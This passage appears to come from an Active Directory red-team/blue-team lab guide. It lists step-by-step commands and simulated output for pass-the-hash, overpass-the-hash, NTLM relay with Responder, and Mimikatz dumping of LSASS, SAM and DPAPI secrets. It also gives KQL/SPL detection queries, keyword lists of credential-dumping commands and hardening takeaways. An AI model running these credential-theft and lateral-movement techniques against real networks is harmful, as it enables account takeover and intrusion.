| extend ClientAddress = tostring(EventData.IpAddress)
| extend TicketOptions = tostring(EventData.TicketOptions)
// Golden Tickets often use RC4 when domain policy requires AES
| where TicketEncryptionType == "0x17" // RC4_HMAC_MD5
| where ServiceName startswith "krbtgt"
// Correlate with known workstation IPs — ticket from unexpected source
| where ClientAddress !in ("10.10.10.10", "10.10.10.11") // Not from DCs
| project TimeGenerated, TargetUserName, ServiceName, TicketEncryptionType,
ClientAddress, TicketOptions, Computer
| sort by TimeGenerated desc
// KQL: Detect Golden Ticket — TGS request without prior TGT (AS-REQ)
// A Golden Ticket bypasses the KDC, so there is no corresponding Event 4768 (TGT request)
let TGTRequests = SecurityEvent
| where EventID == 4768
| where TimeGenerated > ago(24h)
| extend TargetUserName = tostring(EventData.TargetUserName)
| extend ClientAddress = tostring(EventData.IpAddress)
| summarize TGTTime = max(TimeGenerated) by TargetUserName, ClientAddress;
let TGSRequests = SecurityEvent
| where EventID == 4769
| where TimeGenerated > ago(24h)
| extend TargetUserName = tostring(EventData.TargetUserName)
| extend ClientAddress = tostring(EventData.IpAddress)
| extend ServiceName = tostring(EventData.ServiceName)
| where ServiceName !startswith "krbtgt"
| summarize TGSTime = max(TimeGenerated), ServiceNames = make_set(ServiceName)
by TargetUserName, ClientAddress;
TGSRequests
| join kind=leftanti TGTRequests on TargetUserName, ClientAddress
// Users with TGS but NO TGT = potential Golden Ticket
| project TargetUserName, ClientAddress, TGSTime, ServiceNames
// KQL: Detect krbtgt password reset (remediation tracking)
SecurityEvent
| where EventID == 4724 // Password reset attempt
| where TimeGenerated > ago(30d)
| extend TargetAccount = tostring(EventData.TargetUserName)
| where TargetAccount == "krbtgt"
| project TimeGenerated, TargetAccount, SubjectUserName = tostring(EventData.SubjectUserName),
Computer
| sort by TimeGenerated desc
SPL — Splunk:
// SPL: Detect DCSync — replication from non-DC accounts
index=wineventlog EventCode=4662
| where Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"
OR Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where NOT match(Account_Name, "\$$")
| where NOT Account_Name IN ("Administrator")
| table _time, Account_Name, Account_Domain, AccessMask, Properties, ComputerName
| sort -_time
| rename Account_Name as "Replicating User (ALERT: Non-DC!)"
// SPL: Detect Golden Ticket — RC4 TGT from non-DC source
index=wineventlog EventCode=4769
| where Ticket_Encryption_Type="0x17"
| where Service_Name="krbtgt*"
| where NOT Client_Address IN ("10.10.10.10", "10.10.10.11")
| table _time, Account_Name, Service_Name, Ticket_Encryption_Type,
Client_Address, ComputerName
| sort -_time
// SPL: Detect Golden Ticket — TGS without prior TGT
index=wineventlog EventCode=4769 Service_Name!="krbtgt*"
| stats latest(_time) as tgs_time, values(Service_Name) as services by Account_Name, Client_Address
| join type=left Account_Name Client_Address
[ search index=wineventlog EventCode=4768
| stats latest(_time) as tgt_time by Account_Name, Client_Address ]
| where isnull(tgt_time) OR tgs_time < tgt_time
| table Account_Name, Client_Address, tgs_time, services
| rename Account_Name as "Potential Golden Ticket User"
// SPL: Track krbtgt password age (should be < 180 days)
index=wineventlog EventCode=4724 TargetUserName="krbtgt"
| stats latest(_time) as last_reset by TargetUserName
| eval days_since_reset = round((now() - last_reset) / 86400, 0)
| eval risk = if(days_since_reset > 180, "HIGH — krbtgt password stale", "OK")
| table TargetUserName, last_reset, days_since_reset, risk
Key Takeaways — Exercise 3¶
DCSync & Golden Ticket Principles
- DCSync is the most dangerous AD attack — It extracts every password hash in the domain without touching NTDS.dit on disk, using legitimate replication protocols (MS-DRSR).
- Golden Tickets survive everything except krbtgt reset — Password changes for all other accounts, OS rebuilds, and even removing the attacker's initial access do NOT invalidate a Golden Ticket.
- krbtgt must be reset TWICE — Kerberos uses the current and previous krbtgt keys. A single reset still leaves the old key valid. Wait at least 12 hours between resets to ensure all legitimate tickets are refreshed.
- AES256 Golden Tickets are stealthier — RC4-based tickets are easier to detect (encryption downgrade). Sophisticated attackers use AES256 keys to blend in.
- Detection: replication from non-DCs — The highest-fidelity DCSync detection is Event 4662 with replication GUIDs from a non-machine account. This should never happen legitimately.
- Prevention: limit replication rights — Audit and restrict DS-Replication-Get-Changes / DS-Replication-Get-Changes-All permissions. Only Domain Controllers should have these rights.
Exercise 4: Lateral Movement & Credential Harvesting¶
Objective¶
Execute lateral movement techniques including Pass-the-Hash (PtH), overpass-the-hash (pass-the-key), and NTLM relay attacks. Harvest credentials from LSASS process memory, SAM database, and DPAPI-protected secrets. This exercise demonstrates how attackers chain credential theft with lateral movement to traverse an Active Directory environment.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Tactic |
|---|---|---|
| T1550.002 | Use Alternate Authentication Material: Pass the Hash | Lateral Movement |
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | Lateral Movement |
| T1557.001 | Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning | Credential Access |
| T1003.001 | OS Credential Dumping: LSASS Memory | Credential Access |
| T1003.002 | OS Credential Dumping: SAM | Credential Access |
| T1003.003 | OS Credential Dumping: NTDS | Credential Access |
| T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Credential Access |
| T1555.004 | Credentials from Password Stores: Windows Credential Manager | Credential Access |
Prerequisites¶
- Compromised NTLM hash from prior exercises (svc_sql, svc_backup, or admin_da)
- Local admin rights on at least one workstation
- Tools: Mimikatz, CrackMapExec/NetExec, Impacket (ntlmrelayx, smbclient, wmiexec), Responder
Step 4.1: Pass-the-Hash (PtH)¶
Pass-the-Hash allows authentication with an NTLM hash without knowing the plaintext password. This works because Windows NTLM authentication uses the hash directly.
# Pass-the-Hash with CrackMapExec/NetExec (SYNTHETIC)
# Using the svc_sql NTLM hash obtained from Kerberoasting + cracking
$ netexec smb 10.10.10.40 -u svc_sql -H REDACTED_NTLM_HASH -d acme.example.com
SMB 10.10.10.40 445 SQL01 [*] Windows Server 2019 Build 17763 x64 (name:SQL01) (domain:acme.example.com) (signing:False) (SMBv1:False)
SMB 10.10.10.40 445 SQL01 [+] acme.example.com\svc_sql:REDACTED_NTLM_HASH (Pwn3d!)
# Enumerate shares
$ netexec smb 10.10.10.40 -u svc_sql -H REDACTED_NTLM_HASH -d acme.example.com --shares
SMB 10.10.10.40 445 SQL01 [*] Windows Server 2019 Build 17763 x64 (name:SQL01)
SMB 10.10.10.40 445 SQL01 [+] acme.example.com\svc_sql:REDACTED_NTLM_HASH (Pwn3d!)
SMB 10.10.10.40 445 SQL01 [*] Enumerated shares
SMB 10.10.10.40 445 SQL01 Share Permissions Remark
SMB 10.10.10.40 445 SQL01 ----- ----------- ------
SMB 10.10.10.40 445 SQL01 ADMIN$ READ,WRITE Remote Admin
SMB 10.10.10.40 445 SQL01 C$ READ,WRITE Default share
SMB 10.10.10.40 445 SQL01 IPC$ READ Remote IPC
SMB 10.10.10.40 445 SQL01 SQLBackups READ,WRITE SQL Backup Share
SMB 10.10.10.40 445 SQL01 SQLData READ SQL Data Files
# Execute commands via PtH
$ netexec smb 10.10.10.40 -u svc_sql -H REDACTED_NTLM_HASH -d acme.example.com -x "whoami /all"
SMB 10.10.10.40 445 SQL01 [+] acme.example.com\svc_sql:REDACTED_NTLM_HASH (Pwn3d!)
SMB 10.10.10.40 445 SQL01 acme\svc_sql
SMB 10.10.10.40 445 SQL01
SMB 10.10.10.40 445 SQL01 Group Name Type SID
SMB 10.10.10.40 445 SQL01 ============================================= =============== ============================
SMB 10.10.10.40 445 SQL01 ACME\Domain Users Group S-1-5-21-...-513
SMB 10.10.10.40 445 SQL01 ACME\SQL Admins Group S-1-5-21-...-1201
SMB 10.10.10.40 445 SQL01 BUILTIN\Administrators Alias S-1-5-32-544
# PtH with Impacket wmiexec (SYNTHETIC)
$ python3 /usr/share/impacket/wmiexec.py \
-hashes :REDACTED_NTLM_HASH \
acme.example.com/svc_sql@10.10.10.40
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\> whoami
acme\svc_sql
C:\> hostname
SQL01
C:\> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0:
IPv4 Address. . . . . . . . . . . : 10.10.10.40
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 10.10.10.1
Step 4.2: Overpass-the-Hash (Pass-the-Key)¶
Overpass-the-hash converts an NTLM hash into a Kerberos TGT, allowing Kerberos-only authentication (which evades some NTLM monitoring).
# Overpass-the-hash with Rubeus (SYNTHETIC)
PS C:\> .\Rubeus.exe asktgt /user:svc_sql /rc4:REDACTED_NTLM_HASH \
/domain:acme.example.com /dc:DC01.acme.example.com /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: REDACTED_NTLM_HASH
[*] Building AS-REQ (w/ preauth) for: 'acme.example.com\svc_sql'
[*] Using domain controller: DC01.acme.example.com (10.10.10.10)
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFhDCCBYCgAwIBBaEDAgEWooIEdjCCBHJhggRuMIIEaqAD...REDACTED...
[*] Action: Import Ticket
[+] Ticket successfully imported!
ServiceName : krbtgt/ACME.EXAMPLE.COM
ServiceRealm : ACME.EXAMPLE.COM
UserName : svc_sql
UserRealm : ACME.EXAMPLE.COM
StartTime : 3/24/2026 9:00:00 AM
EndTime : 3/24/2026 7:00:00 PM
RenewTill : 3/31/2026 9:00:00 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : REDACTED
# Now access resources using Kerberos (no NTLM!)
PS C:\> dir \\SQL01.acme.example.com\SQLBackups\
# Overpass-the-hash with Mimikatz (SYNTHETIC)
PS C:\> .\mimikatz.exe "sekurlsa::pth /user:admin_da /domain:acme.example.com /ntlm:REDACTED_ADMIN_DA_NTLM_HASH /run:powershell.exe" "exit"
mimikatz(commandline) # sekurlsa::pth /user:admin_da /domain:acme.example.com /ntlm:REDACTED_ADMIN_DA_NTLM_HASH /run:powershell.exe
user : admin_da
domain : acme.example.com
program : powershell.exe
impers. : no
NTLM : REDACTED_ADMIN_DA_NTLM_HASH
| PID 8472
| TID 9136
| LSA Process is now R/W
| LUID 0 ; 15728640 (00000000:00f00000)
\_ msv1_0 - data copy @ 000002A0B1234568 : OK !
\_ kerberos - data copy @ 000002A0B1234590
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Username = admin_da
\_ *Domain = acme.example.com
\_ *Password = (null)
# A new PowerShell window opens running as admin_da
Step 4.3: NTLM Relay Attack¶
NTLM relay captures NTLM authentication and relays it to another service. This works when SMB signing is not required.
# Step A: Identify targets without SMB signing (SYNTHETIC)
$ netexec smb 192.168.1.0/24 --gen-relay-list targets_nosigning.txt
SMB 192.168.1.101 445 WS01 [*] Windows 10 Build 19045 x64 (name:WS01) (domain:acme.example.com) (signing:False) (SMBv1:False)
SMB 192.168.1.102 445 WS02 [*] Windows 10 Build 19045 x64 (name:WS02) (domain:acme.example.com) (signing:False) (SMBv1:False)
SMB 192.168.1.103 445 WS03 [*] Windows 10 Build 19045 x64 (name:WS03) (domain:acme.example.com) (signing:False) (SMBv1:False)
SMB 192.168.1.104 445 WS04 [*] Windows 10 Build 19045 x64 (name:WS04) (domain:acme.example.com) (signing:False) (SMBv1:False)
SMB 10.10.10.10 445 DC01 [*] Windows Server 2019 Build 17763 x64 (name:DC01) (domain:acme.example.com) (signing:True) (SMBv1:False)
SMB 10.10.10.11 445 DC02 [*] Windows Server 2019 Build 17763 x64 (name:DC02) (domain:acme.example.com) (signing:True) (SMBv1:False)
SMB 10.10.10.40 445 SQL01 [*] Windows Server 2019 Build 17763 x64 (name:SQL01) (domain:acme.example.com) (signing:False) (SMBv1:False)
[*] Targets without SMB signing saved to targets_nosigning.txt
[*] 5 hosts without SMB signing (4 workstations + 1 server)
# Step B: Start Responder to poison LLMNR/NBT-NS (SYNTHETIC)
$ sudo responder -I eth0 -dwPv
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.4
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] Listening for events...
[*] [LLMNR] Poisoned answer sent to 192.168.1.104 for name fileservertypo
[*] [LLMNR] Poisoned answer sent to 192.168.1.104 for name fileservertypo
[SMB] NTLMv2-SSP Client : 192.168.1.104
[SMB] NTLMv2-SSP Username : ACME\admin_da
[SMB] NTLMv2-SSP Hash : admin_da::ACME:REDACTED_CHALLENGE:REDACTED_NTLMV2_HASH_RESPONSE
# Step C: Relay captured NTLM authentication (SYNTHETIC)
# In a separate terminal, run ntlmrelayx targeting workstations without SMB signing
$ python3 /usr/share/impacket/ntlmrelayx.py \
-tf targets_nosigning.txt \
-smb2support \
--no-http-server \
-socks
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Protocol Client SMB loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to hosts in targetfile
[*] Setting up SMB Server on port 445
[*] Setting up SOCKS Server on port 1080
[*] Servers started, waiting for connections
[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.1.104, attacking target smb://192.168.1.101
[*] Authenticating against smb://192.168.1.101 as ACME\admin_da SUCCEED
[*] SOCKS: Adding ACME/ADMIN_DA@192.168.1.101(445) to active SOCKS connections.
[*] Target WS01 has been successfully relayed!
# Use the SOCKS proxy to access the relayed session
$ proxychains netexec smb 192.168.1.101 -u admin_da -d acme.example.com -H REDACTED --shares
SMB 192.168.1.101 445 WS01 [+] acme.example.com\admin_da (Pwn3d!)
SMB 192.168.1.101 445 WS01 ADMIN$ READ,WRITE Remote Admin
SMB 192.168.1.101 445 WS01 C$ READ,WRITE Default share
Step 4.4: LSASS Memory Credential Dumping¶
# Dump LSASS with Mimikatz (SYNTHETIC)
# Running with local admin on WS04 where admin_da has an active session
PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # sekurlsa::logonpasswords
Authentication Id : 0 ; 15728640 (00000000:00f00000)
Session : Interactive from 2
User Name : admin_da
Domain : ACME
Logon Server : DC01
Logon Time : 3/24/2026 7:30:15 AM
SID : S-1-5-21-1234567890-987654321-1122334455-1105
msv :
[00000003] Primary
* Username : admin_da
* Domain : ACME
* NTLM : REDACTED_ADMIN_DA_NTLM_HASH_00000000
* SHA1 : REDACTED_SHA1_HASH
* DPAPI : REDACTED_DPAPI_KEY
tspkg :
wdigest :
* Username : admin_da
* Domain : ACME
* Password : REDACTED ← WDigest enabled! Plaintext password in memory!
kerberos :
* Username : admin_da
* Domain : ACME.EXAMPLE.COM
* Password : REDACTED
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WS04$
Domain : ACME
Logon Server : (null)
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WS04$
* Domain : ACME
* NTLM : REDACTED_MACHINE_HASH
Authentication Id : 0 ; 5234561 (00000000:004fd201)
Session : RemoteInteractive from 3
User Name : jsmith
Domain : ACME
Logon Server : DC01
Logon Time : 3/24/2026 8:15:42 AM
SID : S-1-5-21-1234567890-987654321-1122334455-1104
msv :
[00000003] Primary
* Username : jsmith
* Domain : ACME
* NTLM : REDACTED_JSMITH_NTLM_HASH
* SHA1 : REDACTED_SHA1_HASH
WDigest Plaintext Credentials
Notice that admin_da's password was recovered in plaintext from LSASS memory. This happens when WDigest authentication is enabled (default on older systems, or explicitly enabled via registry). This is a critical misconfiguration — modern systems should have WDigest disabled via GPO:
Step 4.5: SAM Database Extraction¶
# Extract SAM database with Mimikatz (SYNTHETIC)
# Extracts local account hashes from the Security Account Manager
PS C:\> .\mimikatz.exe "privilege::debug" "lsadump::sam" "exit"
mimikatz(commandline) # lsadump::sam
Domain : WS04
SysKey : REDACTED_SYSKEY
Local SID : S-1-5-21-9876543210-1234567890-5544332211
SAMKey : REDACTED_SAMKEY
RID : 000001f4 (500)
User : Administrator
Hash NTLM: REDACTED_LOCAL_ADMIN_HASH
RID : 000001f5 (501)
User : Guest
Hash NTLM: (empty)
RID : 000001f7 (503)
User : DefaultAccount
Hash NTLM: (empty)
RID : 000003e9 (1001)
User : localadmin
Hash NTLM: REDACTED_LOCAL_ADMIN_HASH ← Same hash as Administrator!
Password Reuse — Local Admin
The local Administrator and localadmin accounts share the same NTLM hash, indicating the same password. Furthermore, without LAPS (Local Administrator Password Solution), this same local admin password is likely reused across all workstations — enabling PtH lateral movement to every machine.
# Verify local admin password reuse across workstations (SYNTHETIC)
$ netexec smb 192.168.1.101-104 -u Administrator -H REDACTED_LOCAL_ADMIN_HASH --local-auth
SMB 192.168.1.101 445 WS01 [+] WS01\Administrator:REDACTED (Pwn3d!)
SMB 192.168.1.102 445 WS02 [+] WS02\Administrator:REDACTED (Pwn3d!)
SMB 192.168.1.103 445 WS03 [+] WS03\Administrator:REDACTED (Pwn3d!)
SMB 192.168.1.104 445 WS04 [+] WS04\Administrator:REDACTED (Pwn3d!)
[*] Same local admin hash valid on ALL 4 workstations — LAPS not deployed!
Step 4.6: DPAPI Credential Harvesting¶
Data Protection API (DPAPI) protects saved credentials, browser passwords, and Wi-Fi passwords. With the user's master key, all DPAPI-protected secrets can be decrypted.
# Enumerate DPAPI master keys (SYNTHETIC)
PS C:\> .\mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"
mimikatz(commandline) # sekurlsa::dpapi
Authentication Id : 0 ; 15728640
[00000000]
* GUID : {a1b2c3d4-e5f6-7890-abcd-ef1234567890}
* Time : 3/24/2026 7:30:15 AM
* MasterKey : REDACTED_DPAPI_MASTERKEY_HEX_STRING_0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef
* sha1(googolden_key) : REDACTED_SHA1_GOLDEN_KEY
# Decrypt saved Windows Credentials (SYNTHETIC)
PS C:\> .\mimikatz.exe "dpapi::cred /in:C:\Users\admin_da\AppData\Local\Microsoft\Credentials\REDACTED_CRED_FILE /masterkey:REDACTED_DPAPI_MASTERKEY" "exit"
mimikatz(commandline) # dpapi::cred /in:C:\Users\admin_da\AppData\Local\Microsoft\Credentials\REDACTED_CRED_FILE
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000f4 - 244
credUnk0 : 00000000 - 0
Type : 00000002 - 2 — domain password
Flags : 00000000
LastWritten : 3/20/2026 2:15:33 PM
unkFlagsOrSize : 00000018
Persist : 00000003 - enterprise
AttributeCount : 00000000
unk0 : 00000000
unk1 : 00000000
TargetName : Domain:target=SQL01.acme.example.com
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : ACME\admin_da
CredentialBlob : REDACTED ← Saved credential for SQL01!
Attributes : 0
# Decrypt saved browser passwords via DPAPI (SYNTHETIC)
PS C:\> .\mimikatz.exe "dpapi::chrome /in:\"C:\Users\admin_da\AppData\Local\Google\Chrome\User Data\Default\Login Data\" /masterkey:REDACTED_DPAPI_MASTERKEY" "exit"
URL : https://portal.acme.example.com/login
Username : admin_da@acme.example.com
Password : REDACTED
URL : https://vpn.acme.example.com
Username : admin_da
Password : REDACTED
URL : https://aws.example.com/console
Username : admin_da@acme.example.com
Password : REDACTED
Step 4.7: Lateral Movement Summary¶
┌───────────────────────────────────────────────────────────────────────────────┐
│ Lateral Movement — Technique Summary │
│ │
│ Technique Tool Traffic Type Detection Difficulty │
│ ────────────────── ─────────────── ──────────── ──────────────────── │
│ Pass-the-Hash CrackMapExec SMB (NTLM) Medium — Event 4624 │
│ wmiexec WMI (NTLM) type 3 with NTLM auth │
│ │
│ Overpass-the-Hash Rubeus asktgt Kerberos Hard — looks like │
│ Mimikatz pth (AS-REQ) normal Kerberos auth │
│ │
│ NTLM Relay ntlmrelayx SMB relay Medium — source ≠ │
│ Responder LLMNR/NBT-NS expected for user │
│ │
│ LSASS Dump Mimikatz Local only Medium — Sysmon Event │
│ procdump 10 (process access) │
│ │
│ SAM Extraction Mimikatz Local only Low — registry access │
│ reg save is common │
│ │
│ DPAPI Abuse Mimikatz Local only Low — master key read │
│ SharpDPAPI is not commonly logged │
│ │
│ Credential Scope: │
│ LSASS → All logged-in domain user credentials (hashes + potentially │
│ plaintext if WDigest enabled) │
│ SAM → Local account hashes only │
│ DPAPI → Saved credentials, browser passwords, Wi-Fi keys, certificates │
└───────────────────────────────────────────────────────────────────────────────┘
Detection Queries — Lateral Movement & Credential Harvesting¶
KQL — Microsoft Sentinel:
// KQL: Detect Pass-the-Hash — NTLM logon from unexpected source
// Event ID 4624: An account was successfully logged on
SecurityEvent
| where EventID == 4624
| where TimeGenerated > ago(24h)
| extend LogonType = tostring(EventData.LogonType)
| extend AuthPackage = tostring(EventData.AuthenticationPackageName)
| extend TargetUserName = tostring(EventData.TargetUserName)
| extend SourceIP = tostring(EventData.IpAddress)
| extend SourceWorkstation = tostring(EventData.WorkstationName)
| extend LogonProcessName = tostring(EventData.LogonProcessName)
| where LogonType == "3" // Network logon
| where AuthPackage == "NTLM" // NTLM authentication (not Kerberos)
| where TargetUserName !endswith "$" // Exclude machine accounts
| where TargetUserName in ("admin_da", "svc_sql", "svc_backup") // Privileged accounts
// PtH indicator: NTLM network logon for privileged accounts
| project TimeGenerated, TargetUserName, SourceIP, SourceWorkstation,
AuthPackage, LogonProcessName, Computer
| sort by TimeGenerated desc
// KQL: Detect LSASS memory access — Sysmon Event 10
// Sysmon ProcessAccess (Event 10) monitors process handle requests
SecurityEvent
| where EventID == 10 // Sysmon ProcessAccess
| where TimeGenerated > ago(24h)
| extend TargetImage = tostring(EventData.TargetImage)
| extend SourceImage = tostring(EventData.SourceImage)
| extend GrantedAccess = tostring(EventData.GrantedAccess)
| extend SourceUser = tostring(EventData.SourceUser)
| where TargetImage endswith "\\lsass.exe"
// Filter for suspicious access masks
| where GrantedAccess in ("0x1010", "0x1038", "0x1fffff", "0x1410",
"0x143a", "0x40", "0x100000")
// Exclude known legitimate processes
| where SourceImage !endswith "\\csrss.exe"
and SourceImage !endswith "\\lsm.exe"
and SourceImage !endswith "\\wmiprvse.exe"
and SourceImage !endswith "\\MsMpEng.exe"
and SourceImage !endswith "\\svchost.exe"
| project TimeGenerated, Computer, SourceUser, SourceImage,
GrantedAccess, TargetImage
| sort by TimeGenerated desc
// KQL: Detect NTLM relay — authentication from IP that differs from hostname
SecurityEvent
| where EventID == 4624
| where TimeGenerated > ago(24h)
| extend LogonType = tostring(EventData.LogonType)
| extend AuthPackage = tostring(EventData.AuthenticationPackageName)
| extend TargetUserName = tostring(EventData.TargetUserName)
| extend SourceIP = tostring(EventData.IpAddress)
| extend SourceWorkstation = tostring(EventData.WorkstationName)
| where LogonType == "3" and AuthPackage == "NTLM"
| where TargetUserName !endswith "$"
// DNS lookup: does the source workstation name resolve to the source IP?
// If not, this is a relay indicator
| join kind=leftouter (
DnsEvents
| where TimeGenerated > ago(24h)
| extend ResolvedIP = tostring(IPAddresses)
| project QueryName = Name, ResolvedIP
) on $left.SourceWorkstation == $right.QueryName
| where isnotempty(ResolvedIP) and ResolvedIP != SourceIP
| project TimeGenerated, TargetUserName, SourceIP, SourceWorkstation,
ResolvedIP, Computer
| extend AlertMessage = strcat("NTLM Relay suspected: ", TargetUserName,
" authenticated from IP ", SourceIP, " but workstation ",
SourceWorkstation, " resolves to ", ResolvedIP)
// KQL: Detect Responder LLMNR/NBT-NS poisoning
SecurityEvent
| where EventID == 1 // Sysmon Process Creation
| where TimeGenerated > ago(24h)
| extend CommandLine = tostring(EventData.CommandLine)
| extend Image = tostring(EventData.Image)
| where CommandLine has_any ("Responder", "Inveigh", "NBT-NS",
"LLMNR", "mDNS", "poisoner")
or Image has_any ("Responder", "Inveigh")
| project TimeGenerated, Computer, Account, CommandLine, Image
// KQL: Detect credential dumping tools
SecurityEvent
| where EventID == 1 // Sysmon Process Creation
| where TimeGenerated > ago(24h)
| extend CommandLine = tostring(EventData.CommandLine)
| extend Image = tostring(EventData.Image)
| extend Hashes = tostring(EventData.Hashes)
| where CommandLine has_any ("sekurlsa", "logonpasswords", "lsadump",
"dpapi::cred", "dpapi::chrome",
"procdump", "-ma lsass",
"comsvcs.dll", "MiniDump",
"Out-Minidump")
or Hashes has_any (
"REDACTED_MIMIKATZ_SHA256", // Known Mimikatz hash
"REDACTED_RUBEUS_SHA256" // Known Rubeus hash
)
| project TimeGenerated, Computer, Account, CommandLine, Image, Hashes
| sort by TimeGenerated desc
SPL — Splunk:
// SPL: Detect Pass-the-Hash — NTLM network logons for privileged accounts
index=wineventlog EventCode=4624 Logon_Type=3 Authentication_Package=NTLM
| where NOT match(Account_Name, "\$$")
| where Account_Name IN ("admin_da", "svc_sql", "svc_backup", "svc_exchange")
| table _time, Account_Name, Source_Network_Address, Workstation_Name,
ComputerName, Logon_Process
| sort -_time
| rename Account_Name as "User",
Source_Network_Address as "Source IP",
Workstation_Name as "Source Hostname",
ComputerName as "Target"
// SPL: Detect LSASS access via Sysmon Event 10
index=sysmon EventCode=10
| where TargetImage="*\\lsass.exe"
| where GrantedAccess IN ("0x1010", "0x1038", "0x1fffff", "0x1410", "0x143a")
| where NOT SourceImage IN ("*\\csrss.exe", "*\\lsm.exe",
"*\\wmiprvse.exe", "*\\MsMpEng.exe",
"*\\svchost.exe")
| table _time, ComputerName, SourceUser, SourceImage, GrantedAccess
| sort -_time
// SPL: Detect NTLM relay — source IP ≠ expected for workstation name
index=wineventlog EventCode=4624 Logon_Type=3 Authentication_Package=NTLM
| where NOT match(Account_Name, "\$$")
| lookup dns_lookup hostname AS Workstation_Name OUTPUT ip AS expected_ip
| where isnotnull(expected_ip) AND Source_Network_Address != expected_ip
| table _time, Account_Name, Source_Network_Address, Workstation_Name,
expected_ip, ComputerName
| rename Source_Network_Address as "Actual Source IP",
expected_ip as "Expected IP for Hostname"
// SPL: Detect credential dumping — Sysmon Process Creation
index=sysmon EventCode=1
| where CommandLine="*sekurlsa*" OR CommandLine="*logonpasswords*"
OR CommandLine="*lsadump*" OR CommandLine="*procdump*lsass*"
OR CommandLine="*comsvcs.dll*MiniDump*"
OR CommandLine="*dpapi::cred*" OR CommandLine="*dpapi::chrome*"
| table _time, ComputerName, User, CommandLine, Image, ParentImage
| sort -_time
// SPL: Detect Responder / LLMNR poisoning via network
index=network sourcetype="firewall"
| where dest_port IN (5355, 137, 5353)
| stats count by src_ip, dest_ip, dest_port
| where count > 100
| sort -count
| rename src_ip as "Potential Poisoner",
dest_port as "Protocol Port (5355=LLMNR, 137=NBT-NS, 5353=mDNS)"
Key Takeaways — Exercise 4¶
Lateral Movement & Credential Harvesting Principles
- A single compromised hash enables domain-wide movement — Without LAPS, one local admin hash often works across all workstations. Without Credential Guard, LSASS contains every logged-in user's credentials.
- Overpass-the-hash evades NTLM monitoring — Converting an NTLM hash to a Kerberos ticket makes the traffic appear as normal Kerberos authentication, bypassing NTLM-focused detections.
- NTLM relay is devastating without SMB signing — Any NTLM authentication can be relayed to any target that does not require SMB signing. Domain Controllers require signing by default; member servers and workstations often do not.
- WDigest exposes plaintext passwords — If
UseLogonCredentialis set to 1 (or not explicitly set to 0 on older systems), LSASS stores plaintext passwords. This is a critical finding in any assessment. - DPAPI is an overlooked credential store — Saved Windows credentials, browser passwords, and Wi-Fi keys are all accessible with the user's DPAPI master key, which is cached in LSASS.
- Detection: Sysmon Event 10 is essential — Monitoring process access to LSASS (Event 10 with specific access masks) is the most reliable detection for credential dumping, regardless of the tool used.
Exercise 5: Defense & Detection¶
Objective¶
Implement comprehensive defenses against every attack technique demonstrated in Exercises 1–4. Deploy honey tokens for early warning, configure Protected Users group for credential protection, enable Credential Guard, deploy LAPS for local admin password management, and build a detection engineering pipeline with KQL and SPL queries mapped to every technique.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Mitigation |
|---|---|---|
| T1558.003 | Kerberoasting | gMSA, AES-only, long passwords |
| T1558.004 | AS-REP Roasting | Require pre-authentication |
| T1003.006 | DCSync | Restrict replication ACLs |
| T1558.001 | Golden Ticket | krbtgt rotation, PAC validation |
| T1550.002 | Pass the Hash | Credential Guard, RDP Restricted Admin |
| T1557.001 | LLMNR/NBT-NS Poisoning | Disable LLMNR, NBT-NS |
| T1003.001 | LSASS Dump | Credential Guard, PPL |
Step 5.1: Honey Tokens — Early Warning System¶
Honey tokens are decoy accounts and objects that generate high-fidelity alerts when touched. No legitimate user or process should ever interact with them.
# Create a honey token service account (SYNTHETIC)
PS C:\> New-ADUser -Name "svc_honeypot" `
-SamAccountName "svc_honeypot" `
-UserPrincipalName "svc_honeypot@acme.example.com" `
-Description "SQL Service Account - DO NOT MODIFY" `
-Path "OU=Service Accounts,DC=acme,DC=example,DC=com" `
